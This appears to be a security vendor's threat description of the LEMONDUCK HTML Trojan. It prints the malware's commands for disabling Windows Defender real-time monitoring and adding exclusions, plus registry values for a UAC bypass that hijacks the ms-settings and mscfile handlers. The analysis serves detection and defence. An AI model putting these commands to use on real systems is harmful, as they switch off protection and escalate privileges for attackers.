Trojan.HTML.LEMONDUCK.THDBIBA

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It requires being executed with a specific argument/parameter, an additional component, or in a specific environment in order to proceed with its intended routine.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Other Details

This Trojan does the following:

• It contains a powershell code, and cannot be executed independently by itself, being an HTML file.
• It needs a payload URL parameter to properly execute.
• If the {Payload URL} starts with "http", it will try to download from the URL.
• If the current user group is "Administrator", it will execute the following:
  • cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden
  • Download from {Payload URL}
• If Windows version is "10", it does the following:
  • Create registry entries in:
    • HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
      DelegateExecute = ""
    • HKEY_CURRENT_USER:\Software\Classes\ms-settings\shell\open\command
      (default) = cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden {Payload URL}
  • Starts the process:
    • ComputerDefaults.exe
• If Windows version is not"10", it does the following:
  • Create registry entries in:
    • HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
      DelegateExecute = ""
    • HKEY_CURRENT_USER:\Software\Classes\mscfile\shell\open\command
      (default) = powershell -w hidden {Payload URL}
  • Starts the process:
    • CompMgmtLauncher.exe

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It requires being executed with a specific argument/parameter, an additional component, or in a specific environment in order to proceed with its intended routine.